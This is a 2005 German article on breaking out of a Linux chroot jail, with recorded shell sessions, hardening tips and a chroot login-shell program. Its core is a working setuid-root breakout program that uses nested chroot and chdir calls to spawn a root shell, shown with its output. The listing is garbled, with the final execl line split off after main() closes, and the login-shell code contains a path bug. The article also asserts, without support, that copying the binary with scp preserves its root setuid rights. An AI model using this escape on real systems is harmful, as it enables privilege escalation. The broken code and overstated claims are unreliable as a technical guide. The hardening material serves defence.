

Entkommen aus einer CHROOT() Umgebung unter Linux

Wie einfach es ist, aus einer CHROOT() Umgebung auszubrechen, bzw. in UNIX – Server, speziell Linux Server einzubrechen, soll dieser Artikel zeigen. Ich habe inzwischen mehr als 150 Einbrüche in Linux ausgewertet, unzählige Angriffswerkzeuge und deren Funktionsweisen analysiert, und komme zu dem Schluß, daß Linux durch CHROOT() Umgebung nicht unbedingt sicherer wird. Wohl aber wird es einem Angreifer erschwert, aus einer solchen Umgebung zu entkommen. Was CHROOT() nicht verhindern kann, ist daß der Angreifer Prozesse über den SIGNAL – Händler stört, sniffer, trojaner selber startet, und somit z.B. Passworte abfischt. Der Angriff auf einen durch CHROOT() gesicherten Server ist tatsächlich nur unwesentlich komplizierter, als ohne. In diesem Beitrag sei beschrieben, wie man Linux knackt, aber auch, wie man sich dagegen wehren kann. Hierzu noch eine Vorbereitung, welche Administratoren ins Blut übergegangen sein sollte: Protokollierung!

```
[root@server]# script /chroot.script
Script wurde gestartet: Sun Nov 21 15:58:33 2004
```

Jeder Systemadministrator sollte stets mitprotokollieren, was er eintippt, was die Konsole anzeigt. Erstens kann man somit sehr schöne Dokumentationen für's Internet schreiben, und 2. kann man als Admin sich die Dokumentation damit recht einfach machen, indem man nachträglich einfach überflüssige Zeilen löscht, und Kommentare einfügt....fertig ist das Serverbuch. Jedem Entscheider sei empfohlen, auf ein vollständiges Serverbuch zu bestehen. Nur so werden verwaahlte, kapputkonfigurierte Serversysteme vermieden, die Neuinstallation vereinfacht sich enorm. Dieses Skript ist durch einfaches Mitprotokollieren einer Angriffssession entstanden, also einfach nur ein Abfallprodukt sauberer Administrator-Arbeit:

```
[root@server]# cd /
[root@server /]# mkdir /chroot/
[root@server /]# cd /chroot
```

Wir bauen uns nun eine CHROOT() Umgebung. Hierbei wird das höchste erreichbare Verzeichnis um einen Offset nach unten in das Verzeichnis /chroot verschoben:

```
[root@server chroot]# chroot --help
Aufruf: chroot NEUEWURZEL [BEFEHL...]
oder: chroot OPTION
BEFEHL ausführen, wobei das Wurzelverzeichnis auf NEUEWURZEL gesetzt wird.
--help diese Hilfe anzeigen und beenden.
--version Versionsinformation anzeigen und beenden.
Wenn kein Befehl angegeben ist, »${SHELL} -i« (Vorgabe: /bin/sh) ausführen.
Melden Sie Fehler (auf Englisch, mit LC_ALL=C) an <bug-coreutils@gnu.org>.
```

Eines der Hauptprobleme ist, daß in einer CHROOT() Umgebung alle Binaries, die auf dem Server installiert wurden, nicht mehr erreichbar sind, als diese mitsamt Libraries in die CHROOT() Umgebung kopiert werden müssen. So ist es z.B. auch möglich, sich ggf. störende Oracle Datenbankserver, auf verschiedenen Ports laufend, in eigenen Accounts auf einer Linux Maschine parallel zu betreiben. Überhaupt sollte man alle Dämonen unter Linux generell in eigenen CHROOT() - Umgebungen laufen lassen. So werden auch Fehlbedienungen vermieden, weil ein Administrator halt nur in der jeweiligen CHROOT() Umgebung für Webserver, DNS-Server, Mail-Server ... Unheil stiften kann, trotz ROOT – Rechten. Die Distribution GENTOO hat dies bis zur Perfektion umgesetzt, und auch perfekt dokumentiert: <http://www.gentoo.org> :

```
[root@server chroot]# chroot /chroot ls
chroot: ls: No such file or directory
[root@server chroot]# chroot /chroot /bin/ls
chroot: /bin/ls: No such file or directory
```

Wie man sehen kann, so werden in einer CHROOT() Umgebung die Binaries nicht gefunden.

```
[root@server chroot]# whereis ls
ls: /bin/ls /usr/share/man/man1/ls.1.bz2
```

Hiermit erfrage ich den Aufenthaltsort des Binaries.

```
[root@server chroot]# mkdir /chroot/bin
[root@server chroot]# cp /bin/ls /chroot/bin/
[root@server chroot]# chroot /chroot /bin/ls
chroot: /bin/ls: No such file or directory
```

Ich habe nun das Binary in die chroot() Umgebung kopiert, leider ohne Erfolg ... Das Problem liegt woanders, trotz dieser Fehlermeldung ...

```
[root@server chroot]# ldd /bin/ls
libtermcap.so.2 => /lib/libtermcap.so.2 (0x0ffdb000)
libc.so.6 => /lib/libc.so.6 (0x0fe7c000)
/lib/ld.so.1 => /lib/ld.so.1 (0x30000000)
```

Interessant ist, daß Binaries dynamisch gelinkt sind, also Libraries benötigen.

```
[root@server chroot]# mkdir /chroot/lib
[root@server chroot]# cp /lib/libtermcap.so.2 /chroot/lib/
[root@server chroot]# cp /lib/libc.so.6 /chroot/lib/
[root@server chroot]# chroot /chroot /bin/ls
bin lib
[root@server chroot]# ls
bin/ lib/
```

Aha. Nun funktioniert es!

```
[root@server chroot]# pwd
/chroot
[root@server chroot]# ls -la
insgesamt 20)
drwxrwxr-x 4 root root 4096 Nov 21 16:01 ./
drwxr-xr-x 22 root root 8192 Nov 21 15:59 ../
drwxrwxr-x 2 root root 4096 Nov 21 16:00 bin/
drwxrwxr-x 2 root root 4096 Nov 21 16:01 lib/
[root@server chroot]# cd /
[root@server /]# pwd
/
```

Nun möchte ich auch gerne andere Programme in die CHROOT() Umgebung verlagern:

```
[root@server /]# cd etc
chroot chroot.script
[root@server etc]# cd /chroot
[root@server chroot]# whereis bash
bash: /bin/bash /usr/share/man/man1/bash.1.bz2
[root@server chroot]# ldd /bin/bash
libtermcap.so.2 => /lib/libtermcap.so.2 (0x0ffdb000)
libdl.so.2 => /lib/libdl.so.2 (0x0ffb8000)
libc.so.6 => /lib/libc.so.6 (0x0fe59000)
/lib/ld.so.1 => /lib/ld.so.1 (0x30000000)
[root@server chroot]# cd lib
[root@server lib]# cp /lib/libdl.so.2 .
[root@server lib]# cd ..
[root@server chroot]# ls
bin/ lib/
[root@server chroot]# chroot /chroot /bin/bash
[root@server chroot]# cp /bin/bash /chroot/bin/
[root@server chroot]# chroot /chroot /bin/bash
/bash
bash-2.05b# pwd
/
bash-2.05b# ls
bin lib
bash-2.05b# du
```

```
bash: du: command not found
```

Tja, die anderen Skripte und UNIX – Hilfprogramme sind noch nicht dort....Kein Problem ...

```
bash-2.05b# ls -la
total 16
drwxrwxr-x 4 0 0 4096 Nov 21 15:01 .
drwxrwxr-x 4 0 0 4096 Nov 21 15:01 ..
drwxrwxr-x 2 0 0 4096 Nov 21 15:03 bin
drwxrwxr-x 2 0 0 4096 Nov 21 15:02 lib
```

Wer z.B. Apache – Server in eine CHROOT() Umgebung verlagern will, muß teilweise auf andere Werkzeuge, wie z.B. *strace* zurückgreifen: *strace -eopen httpd* zeigt alle Dateien und Libraries an, die in die CHROOT() - Umgebung kopiert werden müssen. Einfach nicht?

Apropos Sicherheit: Wer als normaler User im Internet mit seinem Browser surft, ist enorm stark gefährdet, trotz Firewall. Ein Browser fordert nämlich Datenpakete mit den kleinen, darin enthaltenen böartigen Programmchen an, transportiert also diese Malware ins Netzwerk hinein. Wer also in Unternehmen einbrechen möchte, der braucht nur sein speziell geschriebenes Angriffswerkzeug auf eine beliebige Homepage packen, und die Aufmerksamkeit eines Users in einem Unternehmensnetzwerk auf sich zu ziehen. Virens Scanner, die angeblich Trojaner erkennen, haben ein Problem.

Meine eigenen, speziell geschriebenen Angriffswerkzeuge erkennen die nicht, nur Angriffswerkzeuge, die weit verbreitet sind. Die vermeintliche Sicherheit, die Security-Unternehmen teuer verkaufen, ist reiner Blöf. Wer aus einem Unternehmen Daten abziehen möchte, insbesondere globale Adressbücher sind recht beliebt. Georgi Guninski hatte damals auf <http://www.guninski.com> ausgiebige „Tests“ entwickelt, die nun in einem recht einfachen Test für alle Browser – Typen zusammengefasst sind: <http://bcheck.scanit.be/bcheck/>

Ich denke, daß damit dann alles gesagt ist. Es gibt keine Sicherheit, auch nicht für viel Geld. Umso interessanter ist es daher, daß man über einen UNIX – Account aus einer CHROOT() Umgebung heraus surft, damit der Schaden lokal begrenzt wird. Noch sind die Angriffswerkzeuge noch nicht so weit, daß sie einen Browser in einer CHROOT() Umgebung vermuten müssen, daher ist dies dennoch empfehlenswert, obwohl man leicht entkommen kann, wie folgendes Beispiel zeigt:

```
bash-2.05b$ ls -la
insgesamt 52
drwxrwxr-x 9 stepken stepken 4096 Nov 21 17:53 .
drwxrwxr-x 9 stepken stepken 4096 Nov 21 17:53 ..
drwxrwxr-x 2 stepken stepken 4096 Nov 21 17:05 bin
drwx----- 2 stepken stepken 4096 Nov 21 17:53 breakout
drwxr-xr-x 3 stepken stepken 4096 Nov 21 17:11 dev
drwxrwxr-x 74 root root 4096 Nov 21 17:51 etc
drwxrwxr-x 3 root root 4096 Nov 21 17:20 home
drwxrwxr-x 10 stepken stepken 4096 Nov 21 17:09 lib
-rwsrwsr-x 1 root root 4272 Nov 21 17:43 out
-rw-rw-r-- 1 root root 323 Nov 21 17:43 out.c
-rw-rw-r-- 1 root root 471 Nov 21 17:43 out.c~
drwxr-xr-x 6 stepken stepken 4096 Nov 21 17:18 usr
```

Wir befinden uns in einer CHROOT() Umgebung

```
bash-2.05b$ whoami
stepken
```

Und ich bin DAU - User stepken. Aus dieser Umgebung heraus starte ich nun ein Programm "out", und schaue, was passiert:

```
bash-2.05b$ ./out
sh-2.05b$ ls
bin etc lost+found root
boot home mnt sbin
chroot home2 opt tmp
chroot.script initrd - phat beats - DJ Tiesto - Techno Beats.mp3 usr
dev lib proc var
```

```
sh-2.05b$ whoami
stepken
```

Ich bin immer noch User stepken

```
sh-2.05b$ pwd
/
```

Ich bin befinde mich immer noch in meiner CHROOT() Umgebung, denke ich.

```
sh-2.05b$ ls
bin etc lost+found root
boot home mnt sbin
chroot home2 opt tmp
chroot.script initrd phat beats - DJ Tiesto - Techno Beats.mp3 usr
dev lib proc var
```

Falsch gedacht! Ich bin der CHROOT() Umgebung entkommen. Was ist passiert?

```
sh-2.05b$ exit
bash-2.05b$ pwd
/
```

Ich beende diese Shell, die mir das Programm "out" gegeben hat.

```
bash-2.05b$ ls
bin breakout dev etc home lib out out.c out.c~ usr
```

Ich befinde mich nun wieder in der CHROOT() Umgebung.

```
bash-2.05b$ ./out
sh-2.05b$ ls
bin etc lost+found root
boot home mnt sbin
chroot home2 opt tmp
chroot.script initrd phat beats - DJ Tiesto - Techno Beats.mp3 usr
dev lib proc var
sh-2.05b$ pwd
/
```

Ich bin wieder entkommen.

```
sh-2.05b$ ls -la /chroot/out
-rwsrwsr-x 1 root root 4272 Nov 21 17:43 /chroot/out
```

Aha, das Programm gehört root und hat SUID Flags gesetzt! Kein Wunder. Jeder User kann das Programm starten, und mit root - Rechten aus der chroot() Umgebung entkommen. Und nun schauen wir uns den Quellcode an:

```
sh-2.05b$ more /chroot/out.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main(void)
{
    int i;
    mkdir("breakout", 0700);
    chroot("breakout");
    for (i = 0; i < 100; i++)
        chdir("../");
    chroot(".");
}
```

```
execl("/bin/sh", "/bin/sh", NULL);
}
```

Das Programm erzeugt einen neuen chroot() Punkt, geht ins oberste, erreichbare Verzeichnis, und startet in einer neuen chroot() Umgebung eine Shell. Der erneute Aufruf von CHROOT() in einer CHROOT() Umgebung läßt den Cracker (nicht Hacker) wieder entkommen. Dumm gelaufen.

So bin ich, obwohl ich in einen Useraccount und eine chroot() Umgebung eingesperrt war, entkommen. Das einzige Problem ist beim Einbrechen in einen Server nur, Binaries mit gesetztem SUID - Flag und/oder gesetztem SGUID - Flag auf den Server zu kopieren. Alle FTP - Dämonen verhindern dies, indem in der Konfiguration eine sog. UMASK gesetzt wird, die verhindert, daß bestimmte Rechte (ugo+rwx) beim Upload gesetzt werden können. SSHD z.B. nicht. Mit scp kann man, sobald man einen Useraccount auf einem Server hat, das out - Binary mit 1:1 Rechten überspielen, und dann aus der CHROOT() Umgebung entkommen. Sämtliche Apache - Server, PHP/PERL - Module ... sind z.B. standardmäßig mit suexec aktiviert. Ohne die OpenWall - Patches ist die Sicherheit eines Linux Servers nicht gewährleistet. Mehrfaches chroot() ist offensichtlich möglich, sodaß man aus jeder chroot() Umgebung entkommen kann. Was kann man tun? UNIX/Linux Server werden im Gegensatz zu Linux Workstations geringfügig anders partitioniert. So erhält z.B. /home eine eigene Partition, warum? Nun, der erste Grund ist, daß User die Funktionsfähigkeit des Server nicht mehr beeinträchtigen, wenn sie ihre Homeverzeichnisse überladen (*Murphy's Law: Es wird immer soviel Plattenplatz verwendet, wie zur Verfügung steht!*). Dies regelt man heutzutage mit Quotas, siehe

<http://www.little-idiot.de/redlinux/>

Berechtigungen werden mit *chmod* und *chown* geregelt, es gibt aber auch noch höhere Berechtigungsstufen, z.B. für eine Partition selber: Die „mount - Optionen“ in /etc/fstab! Man mountet z.B. das Verzeichnis /home mit den Optionen **nosuid**, **noexec** Damit ist völlig ausgeschlossen, daß irgendjemand mit irgendwelchen Tools über fehlerhafte Serverdienste Programme hochlädt, und diese ausführen kann. Wer sich ständig über neue Sicherheits - Features unter Linux informieren will, hier eine interessante Quelle:

http://www.linuxsecurity.com/feature_stories/feature_story-99.html

Zum Schluß noch ein Programm, welches eine CHROOT() - Umgebung für beliebige Server - Dienste aufsetzt, zu finden unter <http://www.little-idiot.de/chrlogin.c>

```
/*
 * chrlogin.c -- Howto build a chroot() environment
 * acts as login shell in /etc/passwd for a user who has to completely
 * live in a chroot environment
 *
 * Harald Weidner <hweidner@gmx.net> 1999-6-30
 *
 * Installation:
 * compile: gcc -Wall -O2 -s chrlogin.c -o chrlogin
 * install: cp to /usr/local/sbin, chown root, chmod 4755
 * create chroot directory (here: /home/chroot)
 * create base file system under /home/chroot
 * DISABLE all setuid root binaries under /home/chroot !!!
 *
 * Install a user:
 * create a user using 'adduser'; set password with 'passwd'
 * set /usr/local/sbin/chrlogin als login shell for that user in /etc/passwd
 * create a user in the chroot-Environment
 * (e.g. by filling out /home/chroot/etc/passwd and creating
 * /home/chroot/home/<username> by hand; that user should have the same
 * uid and gid as in /etc/passwd; login shell must be /bin/bash)
 */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <pwd.h>
```

```

#include <sys/types.h>
#include <sys/stat.h>
#define CHROOT_DIR "/home/chroot"
#define SHELL "/bin/bash"
#define MAX_HOME_DIR 1024
int main(int argc, char *argv[], char *envp[])
{
    int real_user = getuid();
    struct passwd *pw_ent = NULL;
    struct stat stat_buf;
    char home_dir[MAX_HOME_DIR];
    /* sanity checks */
    if(geteuid() != 0) {
        fprintf(stderr, "%s: This program needs to be setuid root.\n",
            argv[0]);
        exit(-1);
    }
    if(real_user == 0) {
        fprintf(stderr, "%s: The target user must not be root.\n",
            argv[0]);
        exit(-1);
    }
    /* look up user in system's /etc/passwd */
    if((pw_ent = getpwuid(real_user)) == NULL) {
        fprintf(stderr, "%s: User #%d does not exist in /etc/passwd.\n",
            argv[0], real_user);
        exit(-1);
    }
    /* check home directory */
    if(strncmp(pw_ent->pw_dir, CHROOT_DIR, strlen(CHROOT_DIR))) {
        fprintf(stderr, "%s: Home directory %s does not lie in chroot dir %s.\n",
            argv[0], pw_ent->pw_dir, CHROOT_DIR);
        exit(-1);
    }
    /* check existence of SHELL */
    if(stat(CHROOT_DIR"SHELL", &stat_buf) != 0) {
        fprintf(stderr, "%s: Could not access login shell %s:\n%s\n",
            argv[0], CHROOT_DIR"SHELL", strerror(errno));
        exit(-1);
    }
    if(!S_ISREG(stat_buf.st_mode)) {
        fprintf(stderr, "%s: Login shell %s must be a regular file.\n",
            argv[0], CHROOT_DIR"SHELL");
        exit(-1);
    }
    /* enter chroot environment */
    if(chdir(CHROOT_DIR) != 0) {
        fprintf(stderr,
            "%s: Could not chdir() to new root directory %s:\n%s\n",
            argv[0], CHROOT_DIR, strerror(errno));
        exit(-1);
    }
    if(chroot(CHROOT_DIR) != 0) {
        fprintf(stderr,
            "%s: Could not chroot() to new root directory %s:\n%s\n",
            argv[0], CHROOT_DIR, strerror(errno));
        exit(-1);
    }
    setuid(real_user);
    /* look up user in chroot's /etc/passwd */
    if((pw_ent = getpwuid(real_user)) == NULL) {
        fprintf(stderr, "%s: Could not find user #%d in chroot's /etc/passwd.\n",
            argv[0], real_user);
        exit(-1);
    }
}

```

```
}
/* change to users home directory */
if(chdir(pw_ent->pw_dir) != 0) {
fprintf(stderr,
"%s: Could not chdir to new home directory %s for user %d:\n%s\n",
argv[0], pw_ent->pw_dir, real_user, strerror(errno));
exit(-1);
}
/* adapt command name */
argv[0] = pw_ent->pw_shell;
/* adapt HOME environment variable */
strcpy(home_dir, "HOME=");
strncat(home_dir, pw_ent->pw_dir, MAX_HOME_DIR - strlen(home_dir));
putenv(home_dir);
/* execute shell */
execve(SHELL, argv, envp);
return 0;
}
```

Dieser Beitrag ist unter <http://www.little-idiot.de/ChrootEntkommen.pdf> nachzulesen.

Mit freundlichen Grüßen, © Mai 2005, Guido Stepken

„Was **nicht** auf einer *einzig*en Manuskriptseite zusammengefaßt werden kann, ist **weder durchdacht**, noch **entscheidungsreif**.“ (Dwight David Eisenhower, 34. Präsident der USA 1953-1961; *14.10.1890, † 1969)